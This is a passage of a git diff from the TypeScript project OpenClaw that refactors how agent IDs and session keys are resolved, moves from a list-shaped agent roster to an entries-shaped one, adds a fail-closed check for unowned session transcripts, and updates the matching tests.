params.cfg }); const beforeResetTranscript = await loadBeforeResetTranscript({ agentId, sessionFile: prevEntry?.sessionFile, diff --git a/src/auto-reply/reply/commands-session-usage.test.ts b/src/auto-reply/reply/commands-session-usage.test.ts index 720487af7bac..0418c0551504 100644 --- a/src/auto-reply/reply/commands-session-usage.test.ts +++ b/src/auto-reply/reply/commands-session-usage.test.ts @@ -176,6 +176,9 @@ describe("handleUsageCommand", () => { const args = expectSessionCostArgs(); expect(args.agentId).toBe("target"); expect(args.sessionId).toBe("session-1"); + expect(loadCostUsageSummaryMock).toHaveBeenCalledWith( + expect.objectContaining({ agentId: "target" }), + ); }); it("prefers the target session entry from sessionStore for /usage cost", async () => { diff --git a/src/auto-reply/reply/commands-session.ts b/src/auto-reply/reply/commands-session.ts index 2899a6913740..8f22a5085481 100644 --- a/src/auto-reply/reply/commands-session.ts +++ b/src/auto-reply/reply/commands-session.ts @@ -313,9 +313,11 @@ export const handleUsageCommand: CommandHandler = async (params, allowTextComman const requested = rawArgs ? normalizeUsageDisplay(rawArgs) : undefined; if (normalizeLowercaseStringOrEmpty(rawArgs).startsWith("cost")) { const targetSessionEntry = params.sessionStore?.[params.sessionKey] ?? params.sessionEntry; - const sessionAgentId = params.sessionKey - ? resolveSessionAgentId({ sessionKey: params.sessionKey, config: params.cfg }) - : params.agentId; + const sessionAgentId = resolveSessionAgentId({ + sessionKey: params.sessionKey, + config: params.cfg, + agentId: params.agentId, + }); const sessionSummary = await loadSessionCostSummary({ sessionId: targetSessionEntry?.sessionId, sessionEntry: targetSessionEntry, @@ -323,7 +325,10 @@ export const handleUsageCommand: CommandHandler = async (params, allowTextComman config: params.cfg, agentId: sessionAgentId, }); - const summary = await loadCostUsageSummary({ config: params.cfg }); + const summary = await loadCostUsageSummary({ + config: params.cfg, + agentId: sessionAgentId, + }); const sessionCost = formatUsd(sessionSummary?.totalCost); const sessionTokens = sessionSummary?.totalTokens diff --git a/src/auto-reply/reply/get-reply-fast-path.ts b/src/auto-reply/reply/get-reply-fast-path.ts index 5417205a9518..e4f67c4b3bf2 100644 --- a/src/auto-reply/reply/get-reply-fast-path.ts +++ b/src/auto-reply/reply/get-reply-fast-path.ts @@ -49,13 +49,14 @@ function resolveFastSessionKey(params: { ctx: MsgContext; sessionScope: SessionScope; mainKey?: string; + agentId: string; }): string { const { ctx } = params; const nativeCommandTarget = resolveCommandTurnTargetSessionKey(ctx) ?? ""; if (nativeCommandTarget) { return nativeCommandTarget; } - return resolveSessionKey(params.sessionScope, ctx, params.mainKey); + return resolveSessionKey(params.sessionScope, ctx, params.mainKey, params.agentId); } export function withFullRuntimeReplyConfig(config: T): T { @@ -180,6 +181,7 @@ export function initFastReplySessionState(params: { ctx, sessionScope, mainKey: cfg.session?.mainKey, + agentId, }); const storePath = resolveStorePath(cfg.session?.store, { agentId }); const sessionStore: Record = Object.fromEntries( diff --git a/src/auto-reply/reply/runtime-policy-session-key.test.ts b/src/auto-reply/reply/runtime-policy-session-key.test.ts index 5708daa441f8..6b2610b5e530 100644 --- a/src/auto-reply/reply/runtime-policy-session-key.test.ts +++ b/src/auto-reply/reply/runtime-policy-session-key.test.ts @@ -11,7 +11,7 @@ describe("resolveRuntimePolicySessionKey", () => { defaults: { sandbox: { mode: "non-main", scope: "agent" }, }, - list: [{ id: "main" }], + list: [{ id: "main", default: true }], }, }; diff --git a/src/auto-reply/reply/runtime-policy-session-key.ts b/src/auto-reply/reply/runtime-policy-session-key.ts index 5252f8108106..a5c2fce3d6cd 100644 --- a/src/auto-reply/reply/runtime-policy-session-key.ts +++ b/src/auto-reply/reply/runtime-policy-session-key.ts @@ -3,6 +3,7 @@ import { normalizeLowercaseStringOrEmpty, normalizeOptionalString, } from "@openclaw/normalization-core/string-coerce"; +import { resolveDefaultAgentId } from "../../agents/agent-scope-config.js"; import { normalizeChatType } from "../../channels/chat-type.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { @@ -102,7 +103,10 @@ export function resolveRuntimePolicySessionKey(params: { return undefined; } - const agentId = resolveAgentIdFromSessionKey(sessionKey); + const agentId = resolveAgentIdFromSessionKey( + sessionKey, + params.cfg ? resolveDefaultAgentId(params.cfg) : undefined, + ); if (!isMainSessionAlias({ cfg: params.cfg, agentId, sessionKey })) { return sessionKey; } diff --git a/src/auto-reply/reply/session-entry-persistence.test.ts b/src/auto-reply/reply/session-entry-persistence.test.ts index ca8f0edeb2c9..eb4dde54d8e0 100644 --- a/src/auto-reply/reply/session-entry-persistence.test.ts +++ b/src/auto-reply/reply/session-entry-persistence.test.ts @@ -7,6 +7,7 @@ import type { SessionEntry } from "../../config/sessions/types.js"; import { persistReplySessionEntry } from "./session-entry-persistence.js"; const tempDirs = useAutoCleanupTempDirTracker(afterEach); +const sessionKey = "agent:main:main"; describe("persistReplySessionEntry", () => { it("does not restore policy fields revoked during reply processing", async () => { @@ -27,11 +28,11 @@ describe("persistReplySessionEntry", () => { thinkingLevel: "low", sendPolicy: "deny", }; - await replaceSessionEntry({ sessionKey: "main", storePath }, currentEntry); + await replaceSessionEntry({ sessionKey, storePath }, currentEntry); const result = await persistReplySessionEntry({ storePath, - sessionKey: "main", + sessionKey, initialEntry, entry: { ...initialEntry, @@ -52,9 +53,9 @@ describe("persistReplySessionEntry", () => { }); expect(result.entry.elevatedLevel).toBeUndefined(); expect(result.entry.inheritedToolAllow).toBeUndefined(); - expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), - ).toEqual(result.entry); + expect(loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" })).toEqual( + result.entry, + ); } finally { clearSessionStoreCacheForTest(); } @@ -75,23 +76,23 @@ describe("persistReplySessionEntry", () => { thinkingLevel: "medium", delivery: { kind: "none" }, }; - await replaceSessionEntry({ sessionKey: "main", storePath }, currentEntry); + await replaceSessionEntry({ sessionKey, storePath }, currentEntry); const result = await persistReplySessionEntry({ storePath, - sessionKey: "main", + sessionKey, initialEntry, entry: { ...initialEntry, thinkingLevel: "high", updatedAt: 250 }, }); expect(result).toEqual({ status: "lifecycle-invalidated", - error: 'Session "main" changed while starting work. Retry.', + error: `Session "${sessionKey}" changed while starting work. Retry.`, entry: currentEntry, }); - expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), - ).toEqual(currentEntry); + expect(loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" })).toEqual( + currentEntry, + ); } finally { clearSessionStoreCacheForTest(); } @@ -107,17 +108,17 @@ describe("persistReplySessionEntry", () => { }; const result = await persistReplySessionEntry({ storePath, - sessionKey: "main", + sessionKey, initialEntry, entry: { ...initialEntry, updatedAt: 250 }, }); expect(result).toEqual({ status: "lifecycle-invalidated", - error: 'Session "main" was deleted while starting work. Retry.', + error: `Session "${sessionKey}" was deleted while starting work. Retry.`, }); expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), + loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" }), ).toBeUndefined(); } finally { clearSessionStoreCacheForTest(); @@ -139,11 +140,11 @@ describe("persistReplySessionEntry", () => { archivedAt: 300, delivery: { kind: "none" }, }; - await replaceSessionEntry({ sessionKey: "main", storePath }, archivedEntry); + await replaceSessionEntry({ sessionKey, storePath }, archivedEntry); const result = await persistReplySessionEntry({ storePath, - sessionKey: "main", + sessionKey, initialEntry, entry: { ...initialEntry, updatedAt: 250 }, touchedFields: ["modelOverride"], @@ -151,12 +152,12 @@ describe("persistReplySessionEntry", () => { expect(result).toEqual({ status: "lifecycle-invalidated", - error: 'Session "main" is archived. Restore it before starting new work.', + error: `Session "${sessionKey}" is archived. Restore it before starting new work.`, entry: archivedEntry, }); - expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), - ).toEqual(archivedEntry); + expect(loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" })).toEqual( + archivedEntry, + ); } finally { clearSessionStoreCacheForTest(); } diff --git a/src/auto-reply/reply/session-updates.ts b/src/auto-reply/reply/session-updates.ts index 3161766a4d97..09b6570e4407 100644 --- a/src/auto-reply/reply/session-updates.ts +++ b/src/auto-reply/reply/session-updates.ts @@ -1,7 +1,7 @@ /** Session update helpers for skill snapshots, compaction, and lifecycle hooks. */ import crypto from "node:crypto"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; -import { resolveSessionAgentId } from "../../agents/agent-scope.js"; +import { resolveDefaultAgentId, resolveSessionAgentId } from "../../agents/agent-scope.js"; import { type ExecPolicyOverrides, resolveNodeExecEligibility, @@ -341,6 +341,7 @@ export async function incrementCompactionCount(params: { entry, sessionKey, storePath, + ...(cfg ? { defaultAgentId: resolveDefaultAgentId(cfg) } : {}), newSessionId, }); updates.usageFamilyKey = entry.usageFamilyKey ?? sessionKey; diff --git a/src/auto-reply/reply/session.ts b/src/auto-reply/reply/session.ts index 32a6c85f20be..9bc1c5949b7e 100644 --- a/src/auto-reply/reply/session.ts +++ b/src/auto-reply/reply/session.ts @@ -348,6 +348,7 @@ export function resolveReplySessionPreprocessingState( ), }); const sessionEntry = loadReplySessionInitializationSnapshot({ + agentId: attemptContext.agentId, storePath: attemptContext.storePath, sessionKey, }).currentEntry; @@ -566,12 +567,10 @@ async function initSessionStateAttemptLocked( } // Canonicalize so the written key matches what all read paths produce. - // resolveSessionKey uses DEFAULT_AGENT_ID="main"; the configured default - // agent may differ, causing key mismatch and orphaned sessions (#29683). const sessionKey: string = canonicalizeMainSessionAlias({ cfg, agentId, - sessionKey: resolveSessionKey(sessionScope, sessionCtxForState, mainKey), + sessionKey: resolveSessionKey(sessionScope, sessionCtxForState, mainKey, agentId), }); // CRITICAL: Skip cache to ensure fresh data when resolving session identity. // Stale cache (especially with multiple gateway processes or on Windows where @@ -579,6 +578,7 @@ async function initSessionStateAttemptLocked( // generation, leading to orphaned transcript files. See #17971. const sessionStoreLoadStartMs = ingressTimingEnabled ? Date.now() : 0; const initializationSnapshot = loadReplySessionInitializationSnapshot({ + agentId, storePath, sessionKey, }); diff --git a/src/channels/inbound-event/session-transcript-context.runtime.test.ts b/src/channels/inbound-event/session-transcript-context.runtime.test.ts index 5a6cac80fbfb..aa2478c304f6 100644 --- a/src/channels/inbound-event/session-transcript-context.runtime.test.ts +++ b/src/channels/inbound-event/session-transcript-context.runtime.test.ts @@ -170,6 +170,19 @@ describe("session transcript inbound context", () => { }); }); + it("fails closed for an unscoped session key without a routed agent owner", async () => { + const ctx = context({ AgentId: undefined, SessionKey: "slack:channel:c1" }); + + await expect( + mergeSessionTranscriptContext({ + ctx, + sessionKey: ctx.SessionKey!, + storePath: "/tmp/sessions.json", + }), + ).rejects.toThrow("Session transcript context requires an agent owner."); + expect(readRecent).not.toHaveBeenCalled(); + }); + it("skips canonical history for session-boundary commands", async () => { const ctx = context({ CommandBody: "/new summarize this workspace" }); diff --git a/src/channels/inbound-event/session-transcript-context.runtime.ts b/src/channels/inbound-event/session-transcript-context.runtime.ts index 43d2b1236576..aa184062543a 100644 --- a/src/channels/inbound-event/session-transcript-context.runtime.ts +++ b/src/channels/inbound-event/session-transcript-context.runtime.ts @@ -2,6 +2,7 @@ import { isSessionBoundaryCommandText } from "../../auto-reply/command-detection import type { HistoryEntry } from "../../auto-reply/reply/history.types.js"; import type { FinalizedMsgContext } from "../../auto-reply/templating.js"; import { readRecentUserAssistantTextForSession } from "../../config/sessions/transcript.js"; +import { parseAgentSessionKey } from "../../routing/session-key.js"; import { stripInlineDirectiveTagsForDelivery } from "../../utils/directive-tags.js"; type PromptMessage = Record; @@ -112,8 +113,14 @@ export async function mergeSessionTranscriptContext(params: { ) { return; } + // Routed channel turns provide agentId; direct callers may derive only an + // explicitly scoped owner. Unscoped keys without routing context fail closed. + const agentId = params.agentId?.trim() || parseAgentSessionKey(params.sessionKey)?.agentId; + if (!agentId) { + throw new Error("Session transcript context requires an agent owner."); + } const turns = await readRecentUserAssistantTextForSession({ - agentId: params.agentId, + agentId, sessionKey: params.sessionKey, storePath: params.storePath, limit, diff --git a/src/channels/plugins/acp-bindings.test.ts b/src/channels/plugins/acp-bindings.test.ts index 2adb5b11f2b4..b9da20e1aaf6 100644 --- a/src/channels/plugins/acp-bindings.test.ts +++ b/src/channels/plugins/acp-bindings.test.ts @@ -9,7 +9,8 @@ const resolveDefaultAgentIdMock = vi.hoisted(() => vi.fn()); const resolveAgentWorkspaceDirMock = vi.hoisted(() => vi.fn()); const getLoadedChannelPluginMock = vi.hoisted(() => vi.fn()); -vi.mock("../../agents/agent-scope.js", () => ({ +vi.mock("../../agents/agent-scope.js", async (importOriginal) => ({ + ...(await importOriginal()), resolveAgentConfig: resolveAgentConfigMock, resolveDefaultAgentId: resolveDefaultAgentIdMock, resolveAgentWorkspaceDir: resolveAgentWorkspaceDirMock, diff --git a/src/channels/plugins/acp-configured-binding-consumer.ts b/src/channels/plugins/acp-configured-binding-consumer.ts index 45855653a172..fb2694fbd7b1 100644 --- a/src/channels/plugins/acp-configured-binding-consumer.ts +++ b/src/channels/plugins/acp-configured-binding-consumer.ts @@ -3,10 +3,7 @@ * * Converts channel configured-binding rules into persistent ACP binding records. */ -import { - normalizeLowercaseStringOrEmpty, - normalizeOptionalLowercaseString, -} from "@openclaw/normalization-core/string-coerce"; +import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; import { buildConfiguredAcpSessionKey, normalizeBindingConfig, @@ -37,9 +34,7 @@ function resolveAgentRuntimeAcpDefaults(params: { cfg: OpenClawConfig; ownerAgen } { // ACP bindings inherit runtime defaults from the owning agent when that agent already runs ACP. const ownerAgentId = normalizeLowercaseStringOrEmpty(params.ownerAgentId); - const agent = params.cfg.agents?.list?.find( - (entry) => normalizeOptionalLowercaseString(entry.id) === ownerAgentId, - ); + const agent = resolveAgentConfig(params.cfg, ownerAgentId); if (!agent || agent.runtime?.type !== "acp") { return {}; } diff --git a/src/claws/update-capability-changes.ts b/src/claws/update-capability-changes.ts index ee8960882b25..3a6d75ebb3e3 100644 --- a/src/claws/update-capability-changes.ts +++ b/src/claws/update-capability-changes.ts @@ -1,5 +1,6 @@ // Builds field-level capability change summaries for Claw update previews. import { createHash } from "node:crypto"; +import { listAgentEntries, toAgentEntriesRecord } from "../agents/agent-scope.js"; import { resolveSandboxConfigForAgent } from "../agents/sandbox/config.js"; import { stableStringify } from "../agents/stable-stringify.js"; import { expandToolGroups, resolveToolProfilePolicy } from "../agents/tool-policy-shared.js"; @@ -357,7 +358,7 @@ type AgentConfig = NonNullable["list"]>[nu function resolveHeartbeat(config: OpenClawConfig, agentId: string): unknown { const defaults = config.agents?.defaults?.heartbeat; - const overrides = config.agents?.list?.find((agent) => agent.id === agentId)?.heartbeat; + const overrides = listAgentEntries(config).find((agent) => agent.id === agentId)?.heartbeat; return { ...defaults, ...overrides, @@ -367,7 +368,7 @@ function resolveHeartbeat(config: OpenClawConfig, agentId: string): unknown { function resolvePortableTools(config: OpenClawConfig, agentId: string): unknown { const globalTools = config.tools; - const agentTools = config.agents?.list?.find((agent) => agent.id === agentId)?.tools; + const agentTools = listAgentEntries(config).find((agent) => agent.id === agentId)?.tools; return { profile: agentTools?.profile ?? globalTools?.profile, alsoAllow: agentTools?.alsoAllow ?? globalTools?.alsoAllow, @@ -379,7 +380,7 @@ function resolvePortableTools(config: OpenClawConfig, agentId: string): unknown function resolvePortableMemorySearch(config: OpenClawConfig, agentId: string): unknown { const defaults = config.memory?.search; - const overrides = config.agents?.list?.find((agent) => agent.id === agentId)?.memory?.search; + const overrides = listAgentEntries(config).find((agent) => agent.id === agentId)?.memory?.search; const enabled = overrides?.enabled ?? defaults?.enabled ?? true; const rememberAcrossConversations = resolveRememberAcrossConversations(config, agentId); const sessionMemory = @@ -401,13 +402,30 @@ function resolvePortableMemorySearch(config: OpenClawConfig, agentId: string): u return { enabled, rememberAcrossConversations, sources: [...sources].toSorted() }; } +function prepareCapabilityComparisonConfig( + config: OpenClawConfig, + entries: AgentConfig[], + preferredDefaultAgentId: string, +): OpenClawConfig { + const hasDefault = entries.some((entry) => entry.default === true); + const comparisonEntries = hasDefault + ? entries + : entries.map((entry) => + entry.id === preferredDefaultAgentId ? { ...entry, default: true } : entry, + ); + const { list: _legacyList, ...agents } = config.agents ?? {}; + return { + ...config, + agents: { ...agents, entries: toAgentEntriesRecord(comparisonEntries) }, + }; +} export function pushResolvedAgentCapabilityChanges(params: { changes: ClawUpdateCapabilityChange[]; agentId: string; config: OpenClawConfig; desiredAgent: AgentConfig; }): void { - const currentAgents = params.config.agents?.list ?? []; + const currentAgents = listAgentEntries(params.config); const currentIndex = currentAgents.findIndex((agent) => agent.id === params.agentId); const currentAgent = currentIndex === -1 ? undefined : currentAgents[currentIndex]; const desiredAgents = [...currentAgents]; @@ -416,23 +434,26 @@ export function pushResolvedAgentCapabilityChanges(params: { } else { desiredAgents[currentIndex] = params.desiredAgent; } - const desiredConfig: OpenClawConfig = { - ...params.config, - agents: { - ...params.config.agents, - list: desiredAgents, - }, - }; + const currentConfig = prepareCapabilityComparisonConfig( + params.config, + currentAgents, + params.agentId, + ); + const desiredConfig = prepareCapabilityComparisonConfig( + params.config, + desiredAgents, + params.agentId, + ); pushAgentCapabilityChanges({ changes: params.changes, agentId: params.agentId, currentAgent, desiredAgent: params.desiredAgent, currentSandbox: currentAgent - ? resolveSandboxConfigForAgent(params.config, params.agentId) + ? resolveSandboxConfigForAgent(currentConfig, params.agentId) : undefined, desiredSandbox: resolveSandboxConfigForAgent(desiredConfig, params.agentId), - currentHeartbeat: currentAgent ? resolveHeartbeat(params.config, params.agentId) : undefined, + currentHeartbeat: currentAgent ? resolveHeartbeat(currentConfig, params.agentId) : undefined, desiredHeartbeat: resolveHeartbeat(desiredConfig, params.agentId), currentMemorySearch: currentAgent ? resolvePortableMemorySearch(params.config, params.agentId) diff --git a/src/claws/update-plan.test.ts b/src/claws/update-plan.test.ts index 26793dc25765..a77d72e2d03d 100644 --- a/src/claws/update-plan.test.ts +++ b/src/claws/update-plan.test.ts @@ -324,14 +324,16 @@ describe("buildClawUpdatePlan", () => { path: "agent.sandbox.mode", desired: expect.objectContaining({ digest: expect.any(String) }), effect: expect.objectContaining({ path: "sandbox.mode" }), - requiresDistinctConsent: true, + classification: "reduction", + requiresDistinctConsent: false, }), expect.objectContaining({ kind: "agent", path: "agent.tools.allow", desired: expect.objectContaining({ digest: expect.any(String) }), effect: expect.objectContaining({ path: "tools.allow" }), - requiresDistinctConsent: true, + classification: "reduction", + requiresDistinctConsent: false, }), expect.objectContaining({ kind: "package", diff --git a/src/cli/config-cli-model-normalization.ts b/src/cli/config-cli-model-normalization.ts index 9c582563f04f..c41e7856f49c 100644 --- a/src/cli/config-cli-model-normalization.ts +++ b/src/cli/config-cli-model-normalization.ts @@ -1,5 +1,10 @@ import { expectDefined } from "@openclaw/normalization-core"; import { isRecord as isPlainRecord } from "@openclaw/normalization-core/record-coerce"; +import { + listAgentEntries, + readAgentRosterProperty, + toAgentEntriesRecord, +} from "../agents/agent-scope-config.js"; import { normalizeConfiguredProviderCatalogModelId } from "../agents/model-ref-shared.js"; import { normalizeAgentModelMapForConfig, @@ -111,7 +116,8 @@ function normalizeModelProviderRefs( export function normalizeConfigMutationModelRefs(cfg: OpenClawConfig): OpenClawConfig { const defaults = cfg.agents?.defaults; - const agentList = cfg.agents?.list; + const agentList = listAgentEntries(cfg); + const roster = readAgentRosterProperty(cfg); const providers = cfg.models?.providers; const normalizedAgentList = normalizeAgentListModelRefs(agentList); const normalizedProviders = normalizeModelProviderRefs(providers) as typeof providers | undefined; @@ -139,9 +145,11 @@ export function normalizeConfigMutationModelRefs(cfg: OpenClawConfig): OpenClawC }, } : undefined), - ...(normalizedAgentList !== agentList - ? { list: normalizedAgentList as typeof agentList } - : undefined), + ...(normalizedAgentList !== agentList && roster?.kind === "entries" + ? { entries: toAgentEntriesRecord(normalizedAgentList as typeof agentList) } + : normalizedAgentList !== agentList && roster?.kind === "list" + ? { list: normalizedAgentList as typeof agentList } + : undefined), }, } : undefined), diff --git a/src/cli/config-model-validation.test.ts b/src/cli/config-model-validation.test.ts index 6dea4a6c8fd9..be81f5159df7 100644 --- a/src/cli/config-model-validation.test.ts +++ b/src/cli/config-model-validation.test.ts @@ -1,6 +1,19 @@ import { describe, expect, it, vi } from "vitest"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { checkTouchedTextModelRefs } from "./config-model-validation.js"; +import { checkTouchedTextModelRefs as checkTouchedTextModelRefsRaw } from "./config-model-validation.js"; + +const checkTouchedTextModelRefs: typeof checkTouchedTextModelRefsRaw = (params) => + checkTouchedTextModelRefsRaw({ + ...params, + config: migratePersistedImplicitMainRoster(params.config).config as OpenClawConfig, + ...(params.previousConfig + ? { + previousConfig: migratePersistedImplicitMainRoster(params.previousConfig) + .config as OpenClawConfig, + } + : {}), + }); type ResolverInput = { config: OpenClawConfig; @@ -135,7 +148,10 @@ describe("config model validation", () => { const result = await checkTouchedTextModelRefs({ config: { - agents: { defaults: { model: { primary: "openai/gpt-5.4-mini@work" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.4-mini@work" } }, + entries: { main: { default: true } }, + }, }, touchedPaths: [["agents", "defaults", "model", "primary"]], resolveModelRef, @@ -144,7 +160,10 @@ describe("config model validation", () => { expect(result).toEqual({ refsChecked: 1, refsTotal: 1, errors: [] }); expect(resolveModelRef).toHaveBeenCalledWith({ config: { - agents: { defaults: { model: { primary: "openai/gpt-5.4-mini@work" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.4-mini@work" } }, + entries: { main: { default: true } }, + }, }, ref: { path: "agents.defaults.model.primary", @@ -560,6 +579,7 @@ describe("config model validation", () => { }, models: { "gpt-5": { alias: "legacy/" } }, }, + entries: { main: { default: true } }, }, }; @@ -576,6 +596,7 @@ describe("config model validation", () => { fallbacks: ["legacy/"], }, }, + entries: { main: { default: true } }, }, }, touchedPaths: [["agents", "defaults", "model", "primary"]], @@ -599,7 +620,7 @@ describe("config model validation", () => { fallbacks: ["backup"], }, }, - entries: { ops: { model: { fallbacks: ["agent-backup"] } } }, + entries: { ops: { default: true, model: { fallbacks: ["agent-backup"] } } }, }, }; @@ -628,6 +649,72 @@ describe("config model validation", () => { ]); }); + it("allows model validation while repairing a malformed previous default roster", async () => { + const resolveModelRef = vi.fn(async (_params: ResolverInput) => undefined); + + await expect( + checkTouchedTextModelRefs({ + config: { + agents: { + entries: { + main: { default: true }, + ops: {}, + }, + }, + }, + previousConfig: { + agents: { + entries: { + main: { default: true }, + ops: { default: true }, + }, + }, + }, + touchedPaths: [["agents", "entries", "ops", "default"]], + resolveModelRef, + }), + ).resolves.toEqual({ refsChecked: 0, refsTotal: 0, errors: [] }); + }); + + it("revalidates fallbacks when roster repair also changes an ambiguous default provider", async () => { + const resolveModelRef = vi.fn(async (_params: ResolverInput) => undefined); + + const result = await checkTouchedTextModelRefs({ + config: { + agents: { + defaults: { + model: { primary: "provider-b/main", fallbacks: ["backup"] }, + }, + entries: { + main: { default: true }, + ops: {}, + }, + }, + }, + previousConfig: { + agents: { + defaults: { + model: { primary: "provider-a/main", fallbacks: ["backup"] }, + }, + entries: { + main: { default: true }, + ops: { default: true }, + }, + }, + }, + touchedPaths: [ + ["agents", "defaults", "model", "primary"], + ["agents", "entries", "ops", "default"], + ], + resolveModelRef, + }); + + expect(result.errors).toEqual([]); + expect(resolveModelRef.mock.calls.map(([call]) => call.ref.path)).toContain( + "agents.defaults.model.fallbacks.0", + ); + }); + it("validates touched fallback and per-agent model refs", async () => { const resolveModelRef = vi.fn(async (_params: ResolverInput) => undefined); const config: OpenClawConfig = { @@ -670,6 +757,31 @@ describe("config model validation", () => { ]); }); + it("uses list index paths for list-shaped agent model refs", async () => { + const resolveModelRef = vi.fn(async (_params: ResolverInput) => undefined); + + const result = await checkTouchedTextModelRefsRaw({ + config: { + agents: { + list: [{ id: "ops", default: true, model: "provider-a/model" }], + }, + }, + touchedPaths: [["agents", "list", "0", "model"]], + resolveModelRef, + }); + + expect(result).toEqual({ refsChecked: 1, refsTotal: 1, errors: [] }); + expect(resolveModelRef).toHaveBeenCalledWith({ + config: expect.any(Object), + ref: { + path: "agents.list.0.model", + value: "provider-a/model", + agentId: "ops", + fallback: false, + }, + }); + }); + it("does not validate unrelated or media model keys", async () => { const resolveModelRef = vi.fn(async () => undefined); @@ -698,13 +810,17 @@ describe("config model validation", () => { model: { primary: "openai/gpt-5.4-mini" }, workspace: "/tmp/next-workspace", }, + entries: { main: { default: true } }, }, }; const result = await checkTouchedTextModelRefs({ config, previousConfig: { - agents: { defaults: { model: { primary: "openai/gpt-5.4-mini" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.4-mini" } }, + entries: { main: { default: true } }, + }, }, touchedPaths: [["agents", "defaults"]], resolveModelRef, @@ -721,7 +837,7 @@ describe("config model validation", () => { config: { agents: { entries: { - beta: { model: "provider-a/model" }, + beta: { default: true, model: "provider-a/model" }, alpha: { model: "provider-b/model" }, }, }, @@ -729,7 +845,7 @@ describe("config model validation", () => { previousConfig: { agents: { entries: { - alpha: { model: "provider-a/model" }, + alpha: { default: true, model: "provider-a/model" }, beta: { model: "provider-b/model" }, }, }, @@ -747,12 +863,12 @@ describe("config model validation", () => { const result = await checkTouchedTextModelRefs({ config: { - agents: { entries: { beta: { model: "provider-b/model" } } }, + agents: { entries: { beta: { default: true, model: "provider-b/model" } } }, }, previousConfig: { agents: { entries: { - alpha: { model: "provider-a/model" }, + alpha: { default: true, model: "provider-a/model" }, beta: { model: "provider-b/model" }, }, }, @@ -770,10 +886,10 @@ describe("config model validation", () => { const result = await checkTouchedTextModelRefs({ config: { - agents: { entries: { next: { model: "provider-a/model" } } }, + agents: { entries: { next: { default: true, model: "provider-a/model" } } }, }, previousConfig: { - agents: { entries: { current: { model: "provider-a/model" } } }, + agents: { entries: { current: { default: true, model: "provider-a/model" } } }, }, touchedPaths: [["agents", "entries"]], resolveModelRef, @@ -804,7 +920,7 @@ describe("config model validation", () => { fallbacks: ["provider-a/backup"], }, }, - entries: { ops: {} }, + entries: { ops: { default: true } }, }, }, previousConfig: { @@ -815,7 +931,7 @@ describe("config model validation", () => { fallbacks: ["provider-a/backup"], }, }, - entries: { ops: { model: "provider-b/override" } }, + entries: { ops: { default: true, model: "provider-b/override" } }, }, }, touchedPaths: [["agents", "entries", "ops", "model"]], @@ -853,7 +969,7 @@ describe("config model validation", () => { fallbacks: ["provider-a/backup"], }, }, - entries: { ops: { workspace: "/tmp/ops" } }, + entries: { ops: { default: true, workspace: "/tmp/ops" } }, }, }, previousConfig: { @@ -864,6 +980,7 @@ describe("config model validation", () => { fallbacks: ["provider-a/backup"], }, }, + entries: { main: { default: true } }, }, }, touchedPaths: [["agents", "entries", "ops", "workspace"]], @@ -874,43 +991,6 @@ describe("config model validation", () => { expect(resolveModelRef.mock.calls.map(([call]) => call.ref.agentId)).toEqual(["ops", "ops"]); }); - it("validates defaults activated by removing the last configured agent", async () => { - const resolveModelRef = vi.fn(async (_params: ResolverInput) => undefined); - - const result = await checkTouchedTextModelRefs({ - config: { - agents: { - defaults: { - model: { - primary: "provider-a/default", - fallbacks: ["provider-a/backup"], - }, - }, - entries: {}, - }, - }, - previousConfig: { - agents: { - defaults: { - model: { - primary: "provider-a/default", - fallbacks: ["provider-a/backup"], - }, - }, - entries: { ops: { default: true, model: "provider-b/override" } }, - }, - }, - touchedPaths: [["agents", "entries", "ops"]], - resolveModelRef, - }); - - expect(result).toEqual({ refsChecked: 2, refsTotal: 2, errors: [] }); - expect(resolveModelRef.mock.calls.map(([call]) => call.ref.path)).toEqual([ - "agents.defaults.model.primary", - "agents.defaults.model.fallbacks.0", - ]); - }); - it("does not revalidate a default primary that was already inherited", async () => { const resolveModelRef = vi.fn(async (_params: ResolverInput) => undefined); @@ -918,13 +998,13 @@ describe("config model validation", () => { config: { agents: { defaults: { model: { primary: "provider-a/default" } }, - entries: { ops: { model: { fallbacks: ["provider-b/next"] } } }, + entries: { ops: { default: true, model: { fallbacks: ["provider-b/next"] } } }, }, }, previousConfig: { agents: { defaults: { model: { primary: "provider-a/default" } }, - entries: { ops: { model: { fallbacks: ["provider-b/current"] } } }, + entries: { ops: { default: true, model: { fallbacks: ["provider-b/current"] } } }, }, }, touchedPaths: [["agents", "entries", "ops", "model", "fallbacks"]], @@ -942,4 +1022,23 @@ describe("config model validation", () => { }, }); }); + + it("leaves malformed roster drafts to schema validation", async () => { + const resolveModelRef = vi.fn(async (_params: ResolverInput) => undefined); + + for (const entries of [ + [] as never, + { bad: null } as never, + { main: { default: true }, ops: { default: true } }, + ]) { + await expect( + checkTouchedTextModelRefsRaw({ + config: { agents: { entries } }, + touchedPaths: [["agents", "entries"]], + resolveModelRef, + }), + ).resolves.toEqual({ refsChecked: 0, refsTotal: 0, errors: [] }); + } + expect(resolveModelRef).not.toHaveBeenCalled(); + }); }); diff --git a/src/cli/config-model-validation.ts b/src/cli/config-model-validation.ts index 4f438a0574fd..507407c3746e 100644 --- a/src/cli/config-model-validation.ts +++ b/src/cli/config-model-validation.ts @@ -1,7 +1,11 @@ +import { hasAgentRosterProperty } from "../agents/agent-scope-config.js"; import { + listAgentEntries, + listAgentEntriesWithSource, resolveAgentExplicitModelPrimary, resolveAgentModelFallbacksOverride, resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { DEFAULT_PROVIDER } from "../agents/defaults.js"; import { splitTrailingAuthProfile } from "../agents/model-ref-profile.js"; @@ -13,9 +17,10 @@ import { } from "../agents/model-selection-shared.js"; import type { 